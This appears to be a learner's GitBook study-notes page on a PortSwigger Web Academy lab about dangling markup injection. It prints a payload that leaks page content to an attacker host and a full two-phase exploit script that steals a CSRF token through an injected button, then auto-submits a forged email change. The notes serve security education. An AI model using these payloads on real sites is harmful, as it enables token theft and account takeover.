> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/xss/markup-injection.md).

# Markup Injection

### What is dangling markup injection? <a href="#what-is-dangling-markup-injection" id="what-is-dangling-markup-injection"></a>

Dangling markup injection is a clever exfiltration technique used when full XSS is blocked (by filters, CSP, escaping, etc.) but you can still inject *some* raw HTML into the page. Let's break down exactly how it works.

#### The setup: unsafe reflection

Imagine the app reflects your input into an HTML attribute like this:

```html
<input type="text" name="input" value="CONTROLLABLE DATA HERE">
```

If the app doesn't filter `>` or `"`, you could normally try to break out and inject a `<script>` tag for full XSS. But suppose that path is blocked — maybe a CSP header prevents inline scripts, or a filter strips `<script>` tags, `onerror=`, etc. You're stuck without full JS execution.

#### The dangling markup trick

Even without JS execution, if you can inject **raw HTML tags with attributes**, you can still cause damage. Here's the payload:

```html
"><img src='//attacker-website.com?
```

Let's break down what this does when inserted into the page:

```html
<input type="text" name="input" value=""><img src='//attacker-website.com?">
```

* `">` — closes the quote and the `<input>` tag you were injecting into
* `<img src='//attacker-website.com?` — starts a brand new `<img>` tag, and starts its `src` attribute pointing at the attacker's server, but **never closes the opening single quote**

Since the quote is left open ("dangling"), the browser's HTML parser doesn't know where the attribute value is supposed to end. So it just **keeps reading forward through the rest of the page's raw HTML**, treating everything it encounters as still being part of that `src` URL string — right up until it finally hits another single quote character somewhere later in the page (wherever that happens to be, maybe several tags later in the document). (that's the data being exfiltrated)&#x20;

<figure><img src="/files/9wLukUP45Ia20UUwr4Q9" alt=""><figcaption></figcaption></figure>

```javascript
<body>
<script>
// Define the URLs for the lab environment and the exploit server.
const academyFrontend = "https://your-lab-url.net/";
const exploitServer = "https://your-exploit-server.net/exploit";

// Extract the CSRF token from the URL.
const url = new URL(location);
const csrf = url.searchParams.get('csrf');

// Check if a CSRF token was found in the URL.
if (csrf) {
    // If a CSRF token is present, create dynamic form elements to perform the attack.
    const form = document.createElement('form');
    const email = document.createElement('input');
    const token = document.createElement('input');

    // Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures.
    token.name = 'csrf';
    token.value = csrf;

    // Configure the new email address intended to replace the user's current email.
    email.name = 'email';
    email.value = 'hacker@evil-user.net';

    // Set the form attributes, append the form to the document, and configure it to automatically submit.
    form.method = 'post';
    form.action = `${academyFrontend}my-account/change-email`;
    form.append(email);
    form.append(token);
    document.documentElement.append(form);
    form.submit();

    // If no CSRF token is present, redirect the browser to a crafted URL that embeds a clickable button designed to expose or generate a CSRF token by making the user trigger a GET request
} else {
    location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}
</script>
</body
```

#### The big picture: two-phase attack, one script

This script gets loaded **twice** during the attack — once initially (no token yet), and once again after it's captured the token (URL now contains it). It behaves differently each time, based on a simple `if/else` check.

### First Run

```
} else {
  location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}

<input ... value="blah@blah"><button class=button formaction="https://your-exploit-server.net/exploit" formmethod=get type=submit>Click me</button>
```

<figure><img src="/files/AhR3ko4SiqAiKrmJVac8" alt=""><figcaption></figcaption></figure>

ecause when a `<form>` gets submitted, the browser includes **all the input fields currently in the form** — including the real, legitimate hidden CSRF token input that the actual page already has embedded (from earlier in the real HTML, before this injection point). By hijacking where the submission goes (via `formaction`) while keeping all the form's actual fields intact, the attacker tricks the victim's own browser into **sending the real CSRF token straight to the attacker's exploit server**, disguised as a normal-looking button click ("Click me").

Since it's a GET request (`formmethod=get`), the token ends up as a query parameter on the exploit server's URL — e.g., `https://exploit-server.net/exploit?csrf=abc123&email=blah@blah...` — which the attacker's server logs.

This all happens before the "Click Me Button" appears. The person goes on the exploit server, the else statement runs- and redirects to a lab website with xss in the url and they click on it and it lands them to our website with the crsf.

### Second Run

```
if (csrf) {
    // If a CSRF token is present, create dynamic form elements to perform the attack.
    const form = document.createElement('form');
    const email = document.createElement('input');
    const token = document.createElement('input');

    // Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures.
    token.name = 'csrf';
    token.value = csrf;

    // Configure the new email address intended to replace the user's current email.
    email.name = 'email';
    email.value = 'hacker@evil-user.net';

    // Set the form attributes, append the form to the document, and configure it to automatically submit.
    form.method = 'post';
    form.action = `${academyFrontend}my-account/change-email`;
    form.append(email);
    form.append(token);
    document.documentElement.append(form);
    form.submit();
```

The first thing we do is create our own HTML form.

```
const form = document.createElement('form');   // Creates: <form></form>
const email = document.createElement('input'); // Creates: <input>
const token = document.createElement('input'); // Creates: <input>

form.append(email);
form.append(token);
```

At this exact moment, these elements are completely blank, and they are floating around in the browser's memory. They aren't visible on the webpage yet, and they don't do anything. However, we then set those names/ids ourself.&#x20;

After appending these:

```
<form method="post" action="https://your-lab-url.net/my-account/change-email">
    <input name="email" value="hacker@evil-user.net">
    <input name="csrf" value="STOLEN_TOKEN_HERE">
</form>
```
